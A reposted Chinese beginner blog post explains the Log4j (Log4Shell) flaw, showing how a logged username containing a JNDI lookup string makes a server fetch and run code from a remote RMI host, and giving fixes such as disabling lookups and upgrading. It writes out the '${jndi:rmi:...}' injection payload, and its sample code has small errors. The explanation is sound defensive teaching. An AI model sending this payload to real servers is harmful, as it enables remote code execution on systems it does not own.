log4j漏洞的產生原因和解決方案,小白都能看懂!!!!


核彈級bug Log4j,相信很多人都有所耳聞了,這兩天很多讀者都在問我關於這個bug的原理等一些問題,今天咱們就專門寫一篇文章,一起聊一聊這個核彈級別的bug的產生原理以及怎么防止 核彈爆炸

產生原因

其實這個主要的原因,和日志有關,日志是應用軟件中不可缺少的部分,Apache的開源項目log4j是一個功能強大的日志組件,提供方便的日志記錄。

最簡單的日志打印

我們看如下場景: 登錄頁面 這個場景大家應該很熟悉了,就是用戶登錄,咱們今天不用關心登錄是怎么實現的,只用關心用戶名name字段就可以了,代碼如下

public void login(string name){
  String name = "test";  //表單接收name字段
  logger.info("{},登錄了", name); //logger為log4j
}

很簡單,用戶如果登陸了,我們通過表單接收到相關name字段,然后在日志中記錄上這么一條記錄。

這個看起來是很常規的操作了,記錄日志為什么會導致bug呢?不要着急,我們接下來往下看。

lookup支持打印系統變量

name變量是用戶輸入的,用戶輸入什么都可以,上面的例子是字符串test,那么用戶可以輸入別的內容么? 登錄頁面

public void login(string name){
  String name = "{$java:os}";  //用戶輸入的name內容為  {$java:os}
  logger.info("{},登錄了", name); //logger為log4j
}

如果用戶在用戶名輸入框輸入{$java:os},那么日志中記錄的會是系統相關的信息,上述代碼會輸出

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登錄了

為什么會產生這種奇怪的現象呢?

是因為log4j提供了一個lookup的功能,對lookup功能不熟悉的同學也沒有關系,你知道有這么個方法,可以把一些系統變量放到日志中就可以了,如下圖

lookup
lookup

比較敏銳的同學可能已經開始察覺到了,現在越來越像sql注入了。

JNDI介紹

很多同學可能對JNDI不是很了解,不過沒關系,我用最通俗的話來解釋 其實就是你自己做一個服務,比如是

jndi:rmi:192.168.9.23:1099/remote

如果被攻擊的服務器,比如某台線上的服務器,訪問了或者執行了,你自己的JNDI服務,那么線上的服務器就會來執行JNDI服務中的remote方法的代碼。如果不是很清楚,沒關系,下面有張圖

JNDI
JNDI

大家還記得我們今天的主角log4j么? 如果用戶直接在用戶名輸入框輸入JNDI的服務地址

image
image
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用戶輸入的name內容為 jndi相關信息
  logger.info("{},登錄了", name); 
}

那么只要是你用log4j來打印這么一條日志,那么log4j就會去執行 jndi:rmi:192.168.9.23:1099/remote 服務,那么在黑客的電腦上就可以對線上服務做任何操作了,

大家想象一下,一個不是你公司的人,卻可以在你們公司線上服務器做任何操作,這該是多么的可怕。

解決方式

其實如果你了解了這個原理那么解決方式也就一目了然了,

  • 禁用lookup或JNDI服務

罪魁禍首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服務,不過一般產生問題的服務都是線上已經在跑的服務,禁用的時候要注意評估一下是否允許。

  • 升級Apache Log4j

這次產生的影響范圍主要是在Apache Log4j 2.x <= 2.14.1 ,所以直接把Log4j升級即可解決。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM